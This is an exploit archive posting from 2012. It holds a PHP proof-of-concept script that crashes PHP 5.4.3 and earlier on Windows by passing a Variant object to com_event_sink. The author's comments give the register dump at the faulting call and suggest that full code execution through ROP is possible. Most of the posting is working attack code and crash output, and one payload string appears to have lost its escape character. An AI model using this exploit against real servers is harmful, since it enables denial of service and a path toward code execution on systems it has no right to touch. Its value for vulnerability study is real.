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PHP 5.4.3 com_event_sink Denial Of Service

PHP 5.4.3 com_event_sink Denial Of Service
Posted May 21, 2012
Authored by condis

PHP versions 5.4.3 and below com_event_sink denial of service exploit.

tags | exploit, denial of service, php
MD5 | 5b05572ceaf9d5324b57ac3cef1677cf

PHP 5.4.3 com_event_sink Denial Of Service

Change Mirror Download
<?php

/*

PHP <= 5.4.3 (com_event_sink) Code Execution Proof of Concept
Found by condis
Website: http://cond.psychodela.pl

Tested on:

PHP 5.3.8 + Windows XP SP3 Professional PL
PHP 5.3.10 + Windows XP SP3 Professional PL
PHP 5.4.0 + Windows XP SP3 Professional PL
PHP 5.4.3 + Windows XP SP3 Professional PL

Description:

This is a very strange bug and I had a really hard time trying to classify
it, but lets start from the beginning.

As we can read in PHP manual : com_event_sink function connects events from
COM object to a PHP object. First argument should be a COM object. But when
I set it up to new Variant(), PHP instance crashed.

After few minutes of research it was clear to me that we can control EAX
register by defining first parameter of our Variant object.

The proof of concept code located below should produce situation similar to
this :

eax=024e0050 ebx=010328f0 ecx=41414141 edx=00c0facc esi=0121ff68 edi=00000000
eip=100f33d5 esp=00c0faa8 ebp=00000000 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00200202

100f33d4 50 push eax
100f33d5 8b01 mov eax,dword ptr [ecx] ds:0023:41414141=????????
100f33d7 ffd0 call eax

IMHO it is possible to write a reliable exploit using i.e.: ROP method but due
to lack of free time and skill I leave this task to someone else. Also 0in tried
to write stable exploit for same bug in com_print_typeinfo() function but as far
as I know it isn't stable enough :(


Greetz: cxib, 0in, and others ;>

*/

$EAX = 0x024E0050; // stack starts at 0x024E0050 (in my case)
$stack = str_repeat("x41", 0x1000000); // putting some garbage on the stack so the ECX would be 41414141

class foo { }
com_event_sink(new Variant($EAX), new foo(), array());

?>

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